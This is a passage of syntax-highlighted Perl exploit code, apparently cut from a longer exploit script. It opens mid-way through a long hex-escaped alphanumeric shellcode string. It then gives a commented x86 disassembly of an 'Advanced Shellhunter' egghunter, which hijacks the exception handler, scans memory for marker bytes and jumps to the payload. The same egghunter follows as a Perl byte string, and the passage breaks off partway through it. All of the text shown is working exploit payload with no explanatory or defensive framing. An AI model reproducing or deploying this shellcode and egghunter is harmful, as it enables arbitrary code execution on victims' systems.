    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>32&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>69<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>6e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4d&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>56&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>69&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>31&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">#/----------------Advanced Shellhunter Code----------------\</span>
    <span style="color: #666666; font-style: italic;">#01D717DD   EB 1E            JMP SHORT 01D717FD            |</span>
    <span style="color: #666666; font-style: italic;">#01D717DF   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E2   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E5   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E8   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EB   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EE   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F1   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F4   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F7   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FA   83C4 54          ADD ESP,54                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FD   33FF             XOR EDI,EDI                   |</span>
    <span style="color: #666666; font-style: italic;">#01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |</span>
    <span style="color: #666666; font-style: italic;">#01D71806   EB 0E            JMP SHORT 01D71816            |</span>
    <span style="color: #666666; font-style: italic;">#01D71808   58               POP EAX                       |</span>
    <span style="color: #666666; font-style: italic;">#01D71809   83E8 3C          SUB EAX,3C                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7180C   50               PUSH EAX                      |</span>
    <span style="color: #666666; font-style: italic;">#01D7180D   6A FF            PUSH -1                       |</span>
    <span style="color: #666666; font-style: italic;">#01D7180F   33DB             XOR EBX,EBX                   |</span>
    <span style="color: #666666; font-style: italic;">#01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |</span>
    <span style="color: #666666; font-style: italic;">#01D71814   EB 05            JMP SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71816   E8 EDFFFFFF      CALL 01D71808                 |</span>
    <span style="color: #666666; font-style: italic;">#01D7181B   B8 12121212      MOV EAX,12121212              |</span>
    <span style="color: #666666; font-style: italic;">#01D71820   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71828   83C7 20          ADD EDI,20                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182F  ^75 F7            JNZ SHORT 01D71828            |</span>
    <span style="color: #666666; font-style: italic;">#01D71831   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D71834   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71839  ^75 E0            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D7183B   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7183E   B8 42424242      MOV EAX,42424242              |</span>
    <span style="color: #666666; font-style: italic;">#01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71845  ^75 D4            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71847   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7184A   FFE7             JMP EDI                       |</span>
    <span style="color: #666666; font-style: italic;">#\-----------------------End of Code----------------------/</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>1e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>54&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>0e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>3c&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>db&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>23&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>e0&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span><span style="color: #339933;">.</span>
